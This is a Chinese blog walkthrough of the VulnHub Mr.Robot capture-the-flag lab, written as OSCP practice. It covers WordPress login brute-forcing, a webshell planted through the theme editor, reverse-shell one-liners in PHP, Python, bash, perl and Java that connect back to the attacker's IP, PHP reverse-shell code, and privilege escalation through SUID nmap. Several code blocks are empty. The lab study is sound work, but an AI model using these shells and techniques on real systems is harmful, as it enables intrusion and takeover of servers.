vulnhub-Mr.Robot
1.写在前面
计划按照OSCP的学习路线,从头开始学习并复现vulnhub的靶场环境,在此进行记录
Mr.robot其实是个美剧,之前看过一些,算是脑洞大开的一类,除此之外还有 《硅谷》,都是比较出众的IT类型影视剧。
2.知识点速记
- 目录及登录爆破
- wordpress后台getshell
- Linux下shell反弹
- 普通shell及交互式shell
- suid提权
- 基础Linux知识
3.环境配置
直接去vulnhub官网下载对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式
Win10 宿主机、kali2020 攻击机、vulnhub靶机
4.信息收集
环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128
对当前网段的主机进行扫描,可使用的命令如下:
1 |
|
找到目标靶机并确认开启了80,443端口。
5.目录扫描
访问网站,是一个虚拟终端的动画展示(无法执行命令)。除此外没有得到其他有用信息,也无链接可以跳转。
于是尝试进行目录爆破,使用工具kali下的gobuster
gobuster dir -w /home/wanghao/vulnhub/Dir.txt -u http://192.168.114.129 -t 20 -o test.txt
当然方式有很多,Kali下还有自带的dirb
dirb https://192.168.114.129/
访问 /login 跳转到wordpress登录界面,抓包测试明文传输,但目前没有密码
访问 robots.txt ,发现俩文件 fsocity.dic
和 key-1-of-3.txt
(就这样第1个key就拿到了,一共3个key)
6.用户爆破
下载这个 fsocity.dic
文件,发现是个字典,结合上面wordpress登录,可以进行一波用户爆破。
PS:这里有个技巧,如果输入的用户不存在,会进行错误提示,那么可以先爆破用户名,然后利用争取的用户名爆破密码,提高跑字典的效率!
具体怎么跑就不说了,丢到burp的intruder模块就完事了。用的就是上面的dic字典,这里成功跑出用户ElLiot和elliot。(其实就是电视剧男主的名字….)
OK,接着跑密码,这里其实看过其他人写的wp,所以知道密码也在这个dic文件中,但看了看这个dic量是在太大,密码也放在文件的最后几行里,如果是真实环境,我可能已经放弃了…. 最后得到账号密码:Elliot ER28-0652
7.反弹shell
这里走了比较多的弯路,后面对linux下反弹shell进行一波总结
利用上面的账号密码登录wordpress后台,寻找可getshell的地方。中间为了复现,把环境打崩了。。。
后面的复现中靶机的IP变更为 192.168.114.130
修改主题文件
通过修改主题文件,实现getshell。需要注意的是,要明确主题文件的相对路径,这里插入了一个echo语句,进行测试,实际上404文件在这:https://192.168.114.130/wp-content/themes/twentyfifteen/404.php
,也即路径/wp-content/themes/主题名称/主题文件
后台getshell方式:wordpress后台getshell
对于本次环境,利用方式有很多:
借助webshell
插入一句话webshell,然后用蚁剑或哥斯拉连接后得到一个简易的终端
然后检测目标服务器的语言环境和安装的程序,再选择对应的反弹shell的payload
- 语言环境:php、python、perl、ruby、java
- 应用:nc、socat、bash、zsh、openssl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## php反弹shell
php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
## python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.114.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
## bash反弹shell
bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1
## perl反弹shell
perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
## java反弹shell
## 需要编译再运行
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
## msfvenom生成各类shell
msfvenom -l payload |grep "cmd/unix"
msfvenom -p "对应的payload" -LHOST xxx -LPORT xxx R
直接反弹
直接编辑主题的php文件,然后插入shell反弹语句 (fsockopen函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# php 反弹
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){ echo "error";}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"[php-shell]:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.114.128/4444 0>&1' ");
?>由于oscp是kali环境的,所以payload最好也在kali里找,这里可以用wordpress的这个:
1find / -name php-reverse-shell.php
相关链接:
提升交互式shell
但这里有个问题,kali监听得到的本地shell,交互性较差,具体表现在:
- 没有错误输出
- 无法执行su、ssh等命令
- 没有向上的历史箭头
- 无法使用vim等
- ctrl+z 断开shell连接
以上最要命的是无法执行su切换用户,因为后面的任务需要提权到robot用户、root用户,所以必须要搞个交互式的shell。
目前学习到的主要两个:
1 |
|
1 |
|
tips:一般linux并没有安装socat,可以先下载到vps上,然后在靶机上通过wget的方式下载再本地运行
相关链接:Linux完全交互式的TTY
8.提权
8.1 su切换
完成交互式shell建立后,先进入/home/robot
查看,发现第二个key和一个md5加密的密码
对密码进行破解,得到用户robot/abcdefghijklmnopqrstuvwxyz
,至于为什么是robot用户?除了home下用户名外,也可以看看etc/passwd
文件。
于是切换到robot用户。还记得之前的key-2吗,用daemon权限是读取不到的,只有owner,也即robot用户才有权读取。
8.2 suid提权
这里用到了suid提权,这个之前总结过,后面把那篇也更新到博客里。
简单来说,Linux中已知可用来提权的可执行文件有:
1 |
|
以下命令用于发现系统上运行的SUID可执行文件。命令将尝试查找具有root权限的SUID的文件。
1 |
|
用上述命令搜索,发现存在nmap程序,且属主为root,具有s标志位。
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
那么我们查看下nmap版本,确实在范围内,那直接利用了呀
切到root目录,第三个key得到,打完收工